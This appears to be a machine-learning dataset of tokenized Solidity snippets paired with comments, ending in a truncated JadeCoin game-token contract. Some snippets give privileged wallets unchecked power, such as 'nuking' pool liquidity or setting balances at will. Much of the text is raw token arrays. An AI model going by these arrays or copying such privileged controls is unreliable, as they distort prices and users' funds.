0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
12083,
2044,
668,
288,
203,
565,
1731,
1071,
5381,
11240,
668,
273,
24126,
18,
3015,
1190,
5374,
2932,
23144,
12,
11890,
5034,
2225,
16,
374,
92,
1611,
1769,
203,
565,
1731,
1071,
5381,
30828,
668,
273,
24126,
18,
3015,
1190,
5374,
2932,
23144,
12,
11890,
5034,
2225,
16,
374,
92,
2499,
1769,
203,
565,
1731,
1071,
5381,
16536,
668,
273,
24126,
18,
3015,
1190,
5374,
2932,
23144,
12,
11890,
5034,
2225,
16,
374,
92,
2138,
1769,
203,
565,
1731,
1071,
5381,
2792,
6814,
668,
273,
24126,
18,
3015,
1190,
5374,
2932,
23144,
12,
11890,
5034,
2225,
16,
374,
92,
5340,
1769,
203,
565,
1731,
1071,
5381,
2017,
3245,
668,
273,
24126,
18,
3015,
1190,
5374,
2932,
23144,
12,
11890,
5034,
2225,
16,
374,
92,
3787,
1769,
203,
565,
1731,
1071,
5381,
1843,
668,
273,
24126,
18,
3015,
1190,
5374,
2932,
23144,
12,
11890,
5034,
2225,
16,
374,
92,
6938,
1769,
203,
565,
1731,
1071,
5381,
770,
51,
5704,
668,
273,
24126,
18,
3015,
1190,
5374,
2932,
23144,
12,
11890,
5034,
2225,
16,
374,
92,
1578,
1769,
203,
565,
1731,
1071,
5381,
1663,
15526,
668,
273,
24126,
18,
3015,
1190,
5374,
2932,
23144,
12,
11890,
5034,
2225,
16,
374,
92,
9803,
1769,
203,
565,
1731,
1071,
5381,
3634,
1537,
668,
273,
24126,
18,
3015,
1190,
5374,
2932,
23144,
12,
11890,
5034,
2225,
16,
374,
92,
10593,
1769,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x8Ff00fF3Dec7B062D4FfC90Eca7Ebeed5668AE2d/sources/ReservePortionRNBAlternativeProposalVoting.sol | * @dev Get all voters. @return all voters./ | function getAllVoters() external view returns (address[] memory) {
return voters;
}
| 9,202,743 | [
1,
967,
777,
331,
352,
414,
18,
327,
777,
331,
352,
414,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
5514,
58,
352,
414,
1435,
3903,
1476,
1135,
261,
2867,
8526,
3778,
13,
288,
203,
3639,
327,
331,
352,
414,
31,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x2E5304EFf5CF034f93E8C32aB25f3Dd395123015/sources/PEPE_GOD_OF_WEALTH.sol | get balance of liquidity pair calculate amount to burn pull tokens from pancakePair liquidity and move to dead address permanently | function manualBurnLiquidityPairTokens(uint256 percent)
external
returns (bool)
{
require(_isExcludedFromFees[msg.sender]);
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit ManualNukeLP();
return true;
}
| 16,156,807 | [
1,
588,
11013,
434,
4501,
372,
24237,
3082,
4604,
3844,
358,
18305,
6892,
2430,
628,
2800,
23780,
4154,
4501,
372,
24237,
471,
3635,
358,
8363,
1758,
16866,
715,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
11297,
38,
321,
48,
18988,
24237,
4154,
5157,
12,
11890,
5034,
5551,
13,
203,
3639,
3903,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
2583,
24899,
291,
16461,
1265,
2954,
281,
63,
3576,
18,
15330,
19226,
203,
3639,
2583,
12,
203,
5411,
1203,
18,
5508,
405,
1142,
25139,
48,
84,
38,
321,
950,
397,
11297,
38,
321,
13865,
16,
203,
5411,
315,
10136,
2529,
364,
27367,
2378,
358,
4076,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
8849,
1648,
4336,
16,
315,
49,
528,
486,
9244,
4491,
1898,
2353,
1728,
9,
434,
2430,
316,
511,
52,
8863,
203,
540,
203,
3639,
1142,
25139,
48,
84,
38,
321,
950,
273,
1203,
18,
5508,
31,
203,
203,
3639,
2254,
5034,
4501,
372,
24237,
4154,
13937,
273,
333,
18,
12296,
951,
12,
318,
291,
91,
438,
58,
22,
4154,
1769,
203,
203,
3639,
2254,
5034,
3844,
774,
38,
321,
273,
4501,
372,
24237,
4154,
13937,
18,
16411,
12,
8849,
2934,
2892,
12,
23899,
1769,
203,
203,
3639,
309,
261,
8949,
774,
38,
321,
405,
374,
13,
288,
203,
5411,
2240,
6315,
13866,
12,
318,
291,
91,
438,
58,
22,
4154,
16,
1758,
12,
20,
92,
22097,
3631,
3844,
774,
38,
321,
1769,
203,
3639,
289,
203,
203,
3639,
3082,
18,
8389,
5621,
203,
3639,
3626,
8660,
1462,
50,
89,
4491,
14461,
5621,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0x8D2C372317524a8Af5313883434411fd3DAE55d9/sources/contracts/lib/GettersAndDerivers.sol | Read consideration item typehash from runtime code & place on stack. | typeHash = _CONSIDERATION_ITEM_TYPEHASH;
| 877,749 | [
1,
1994,
5260,
367,
761,
618,
2816,
628,
3099,
981,
473,
3166,
603,
2110,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
618,
2310,
273,
389,
2248,
30287,
654,
2689,
67,
12674,
67,
2399,
15920,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/11155111/0x6Ee13b153Ed3dfA6658726366ffC959B37a284f3/sources/project:/contracts/nfts/GivitNFT.sol | @notice Standard IERC2981. Set the royalty information for the NFTs @dev Only the owner can set the royalty information @param _royalties The address to send the royalties to @param _salesFeeInBips The amount of royalties to send (in basis points) | function setRoyaltyInfo(address _royalties, uint48 _salesFeeInBips) external {
require(_msgSender() == owner, "OnlyOwner");
require(_royalties != address(0), "NullAddress");
royalties = _royalties;
salesFeeInBips = _salesFeeInBips;
emit RoyaltyInfoUpdated(_royalties, _salesFeeInBips);
}
| 3,806,491 | [
1,
8336,
467,
654,
39,
5540,
11861,
18,
1000,
326,
721,
93,
15006,
1779,
364,
326,
423,
4464,
87,
225,
5098,
326,
3410,
848,
444,
326,
721,
93,
15006,
1779,
225,
389,
3800,
2390,
606,
1021,
1758,
358,
1366,
326,
721,
93,
2390,
606,
358,
225,
389,
87,
5408,
14667,
382,
38,
7146,
1021,
3844,
434,
721,
93,
2390,
606,
358,
1366,
261,
267,
10853,
3143,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
444,
54,
13372,
15006,
966,
12,
2867,
389,
3800,
2390,
606,
16,
2254,
8875,
389,
87,
5408,
14667,
382,
38,
7146,
13,
3903,
288,
203,
3639,
2583,
24899,
3576,
12021,
1435,
422,
3410,
16,
315,
3386,
5541,
8863,
203,
3639,
2583,
24899,
3800,
2390,
606,
480,
1758,
12,
20,
3631,
315,
2041,
1887,
8863,
203,
203,
3639,
721,
93,
2390,
606,
273,
389,
3800,
2390,
606,
31,
203,
3639,
272,
5408,
14667,
382,
38,
7146,
273,
389,
87,
5408,
14667,
382,
38,
7146,
31,
203,
203,
3639,
3626,
534,
13372,
15006,
966,
7381,
24899,
3800,
2390,
606,
16,
389,
87,
5408,
14667,
382,
38,
7146,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.18;
/* ==================================================================== */
/* Copyright (c) 2018 The MagicAcademy Project. All rights reserved.
/*
/* https://www.magicacademy.io One of the world's first idle strategy games of blockchain
/*
/* authors [email protected]/[email protected]
/*
/* ==================================================================== */
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/*
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract AccessAdmin is Ownable {
/// @dev Admin Address
mapping (address => bool) adminContracts;
/// @dev Trust contract
mapping (address => bool) actionContracts;
function setAdminContract(address _addr, bool _useful) public onlyOwner {
require(_addr != address(0));
adminContracts[_addr] = _useful;
}
modifier onlyAdmin {
require(adminContracts[msg.sender]);
_;
}
function setActionContract(address _actionAddr, bool _useful) public onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
modifier onlyAccess() {
require(actionContracts[msg.sender]);
_;
}
}
interface ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract JadeCoin is ERC20, AccessAdmin {
using SafeMath for SafeMath;
string public constant name = "MAGICACADEMY JADE";
string public constant symbol = "Jade";
uint8 public constant decimals = 0;
uint256 public roughSupply;
uint256 public totalJadeProduction;
uint256[] public totalJadeProductionSnapshots; // The total goo production for each prior day past
uint256 public nextSnapshotTime;
uint256 public researchDivPercent = 10;
// Balances for each player
mapping(address => uint256) public jadeBalance;
mapping(address => mapping(uint8 => uint256)) public coinBalance;
mapping(uint8 => uint256) totalEtherPool; //Total Pool
mapping(address => mapping(uint256 => uint256)) public jadeProductionSnapshots; // Store player's jade production for given day (snapshot)
mapping(address => mapping(uint256 => bool)) private jadeProductionZeroedSnapshots; // This isn't great but we need know difference between 0 production and an unused/inactive day.
mapping(address => uint256) public lastJadeSaveTime; // Seconds (last time player claimed their produced jade)
mapping(address => uint256) public lastJadeProductionUpdate; // Days (last snapshot player updated their production)
mapping(address => uint256) private lastJadeResearchFundClaim; // Days (snapshot number)
mapping(address => uint256) private lastJadeDepositFundClaim; // Days (snapshot number)
uint256[] private allocatedJadeResearchSnapshots; // Div pot #1 (research eth allocated to each prior day past)
// Mapping of approved ERC20 transfers (by player)
mapping(address => mapping(address => uint256)) private allowed;
event ReferalGain(address player, address referal, uint256 amount);
// Constructor
function JadeCoin() public {
}
function() external payable {
totalEtherPool[1] += msg.value;
}
// Incase community prefers goo deposit payments over production %, can be tweaked for balance
function tweakDailyDividends(uint256 newResearchPercent) external {
require(msg.sender == owner);
require(newResearchPercent > 0 && newResearchPercent <= 10);
researchDivPercent = newResearchPercent;
}
function totalSupply() public constant returns(uint256) {
return roughSupply; // Stored jade (rough supply as it ignores earned/unclaimed jade)
}
/// balance of jade in-game
function balanceOf(address player) public constant returns(uint256) {
return SafeMath.add(jadeBalance[player],balanceOfUnclaimed(player));
}
/// unclaimed jade
function balanceOfUnclaimed(address player) public constant returns (uint256) {
uint256 lSave = lastJadeSaveTime[player];
if (lSave > 0 && lSave < block.timestamp) {
return SafeMath.mul(getJadeProduction(player),SafeMath.div(SafeMath.sub(block.timestamp,lSave),100));
}
return 0;
}
/// production/s
function getJadeProduction(address player) public constant returns (uint256){
return jadeProductionSnapshots[player][lastJadeProductionUpdate[player]];
}
/// return totalJadeProduction/s
function getTotalJadeProduction() external view returns (uint256) {
return totalJadeProduction;
}
function getlastJadeProductionUpdate(address player) public view returns (uint256) {
return lastJadeProductionUpdate[player];
}
/// increase prodution
function increasePlayersJadeProduction(address player, uint256 increase) public onlyAccess {
jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length] = SafeMath.add(getJadeProduction(player),increase);
lastJadeProductionUpdate[player] = allocatedJadeResearchSnapshots.length;
totalJadeProduction = SafeMath.add(totalJadeProduction,increase);
}
/// reduce production 20180702
function reducePlayersJadeProduction(address player, uint256 decrease) public onlyAccess {
uint256 previousProduction = getJadeProduction(player);
uint256 newProduction = SafeMath.sub(previousProduction, decrease);
if (newProduction == 0) {
jadeProductionZeroedSnapshots[player][allocatedJadeResearchSnapshots.length] = true;
delete jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length]; // 0
} else {
jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length] = newProduction;
}
lastJadeProductionUpdate[player] = allocatedJadeResearchSnapshots.length;
totalJadeProduction = SafeMath.sub(totalJadeProduction,decrease);
}
/// update player's jade balance
function updatePlayersCoin(address player) internal {
uint256 coinGain = balanceOfUnclaimed(player);
lastJadeSaveTime[player] = block.timestamp;
roughSupply = SafeMath.add(roughSupply,coinGain);
jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain);
}
/// update player's jade balance
function updatePlayersCoinByOut(address player) external onlyAccess {
uint256 coinGain = balanceOfUnclaimed(player);
lastJadeSaveTime[player] = block.timestamp;
roughSupply = SafeMath.add(roughSupply,coinGain);
jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain);
}
/// transfer
function transfer(address recipient, uint256 amount) public returns (bool) {
updatePlayersCoin(msg.sender);
require(amount <= jadeBalance[msg.sender]);
jadeBalance[msg.sender] = SafeMath.sub(jadeBalance[msg.sender],amount);
jadeBalance[recipient] = SafeMath.add(jadeBalance[recipient],amount);
//event
Transfer(msg.sender, recipient, amount);
return true;
}
/// transferfrom
function transferFrom(address player, address recipient, uint256 amount) public returns (bool) {
updatePlayersCoin(player);
require(amount <= allowed[player][msg.sender] && amount <= jadeBalance[player]);
jadeBalance[player] = SafeMath.sub(jadeBalance[player],amount);
jadeBalance[recipient] = SafeMath.add(jadeBalance[recipient],amount);
allowed[player][msg.sender] = SafeMath.sub(allowed[player][msg.sender],amount);
Transfer(player, recipient, amount);
return true;
}
function approve(address approvee, uint256 amount) public returns (bool) {
allowed[msg.sender][approvee] = amount;
Approval(msg.sender, approvee, amount);
return true;
}
function allowance(address player, address approvee) public constant returns(uint256) {
return allowed[player][approvee];
}
/// update Jade via purchase
function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) public onlyAccess {
uint256 unclaimedJade = balanceOfUnclaimed(player);
if (purchaseCost > unclaimedJade) {
uint256 jadeDecrease = SafeMath.sub(purchaseCost, unclaimedJade);
require(jadeBalance[player] >= jadeDecrease);
roughSupply = SafeMath.sub(roughSupply,jadeDecrease);
jadeBalance[player] = SafeMath.sub(jadeBalance[player],jadeDecrease);
} else {
uint256 jadeGain = SafeMath.sub(unclaimedJade,purchaseCost);
roughSupply = SafeMath.add(roughSupply,jadeGain);
jadeBalance[player] = SafeMath.add(jadeBalance[player],jadeGain);
}
lastJadeSaveTime[player] = block.timestamp;
}
function JadeCoinMining(address _addr, uint256 _amount) external onlyAdmin {
roughSupply = SafeMath.add(roughSupply,_amount);
jadeBalance[_addr] = SafeMath.add(jadeBalance[_addr],_amount);
}
function setRoughSupply(uint256 iroughSupply) external onlyAccess {
roughSupply = SafeMath.add(roughSupply,iroughSupply);
}
/// balance of coin in-game
function coinBalanceOf(address player,uint8 itype) external constant returns(uint256) {
return coinBalance[player][itype];
}
function setJadeCoin(address player, uint256 coin, bool iflag) external onlyAccess {
if (iflag) {
jadeBalance[player] = SafeMath.add(jadeBalance[player],coin);
} else if (!iflag) {
jadeBalance[player] = SafeMath.sub(jadeBalance[player],coin);
}
}
function setCoinBalance(address player, uint256 eth, uint8 itype, bool iflag) external onlyAccess {
if (iflag) {
coinBalance[player][itype] = SafeMath.add(coinBalance[player][itype],eth);
} else if (!iflag) {
coinBalance[player][itype] = SafeMath.sub(coinBalance[player][itype],eth);
}
}
function setLastJadeSaveTime(address player) external onlyAccess {
lastJadeSaveTime[player] = block.timestamp;
}
function setTotalEtherPool(uint256 inEth, uint8 itype, bool iflag) external onlyAccess {
if (iflag) {
totalEtherPool[itype] = SafeMath.add(totalEtherPool[itype],inEth);
} else if (!iflag) {
totalEtherPool[itype] = SafeMath.sub(totalEtherPool[itype],inEth);
}
}
function getTotalEtherPool(uint8 itype) external view returns (uint256) {
return totalEtherPool[itype];
}
function setJadeCoinZero(address player) external onlyAccess {
jadeBalance[player]=0;
}
function getNextSnapshotTime() external view returns(uint256) {
return nextSnapshotTime;
}
// To display on website
function viewUnclaimedResearchDividends() external constant returns (uint256, uint256, uint256) {
uint256 startSnapshot = lastJadeResearchFundClaim[msg.sender];
uint256 latestSnapshot = allocatedJadeResearchSnapshots.length - 1; // No snapshots to begin with
uint256 researchShare;
uint256 previousProduction = jadeProductionSnapshots[msg.sender][lastJadeResearchFundClaim[msg.sender] - 1]; // Underflow won't be a problem as gooProductionSnapshots[][0xfffffffffffff] = 0;
for (uint256 i = startSnapshot; i <= latestSnapshot; i++) {
// Slightly complex things by accounting for days/snapshots when user made no tx's
uint256 productionDuringSnapshot = jadeProductionSnapshots[msg.sender][i];
bool soldAllProduction = jadeProductionZeroedSnapshots[msg.sender][i];
if (productionDuringSnapshot == 0 && !soldAllProduction) {
productionDuringSnapshot = previousProduction;
} else {
previousProduction = productionDuringSnapshot;
}
researchShare += (allocatedJadeResearchSnapshots[i] * productionDuringSnapshot) / totalJadeProductionSnapshots[i];
}
return (researchShare, startSnapshot, latestSnapshot);
}
function claimResearchDividends(address referer, uint256 startSnapshot, uint256 endSnapShot) external {
require(startSnapshot <= endSnapShot);
require(startSnapshot >= lastJadeResearchFundClaim[msg.sender]);
require(endSnapShot < allocatedJadeResearchSnapshots.length);
uint256 researchShare;
uint256 previousProduction = jadeProductionSnapshots[msg.sender][lastJadeResearchFundClaim[msg.sender] - 1]; // Underflow won't be a problem as gooProductionSnapshots[][0xffffffffff] = 0;
for (uint256 i = startSnapshot; i <= endSnapShot; i++) {
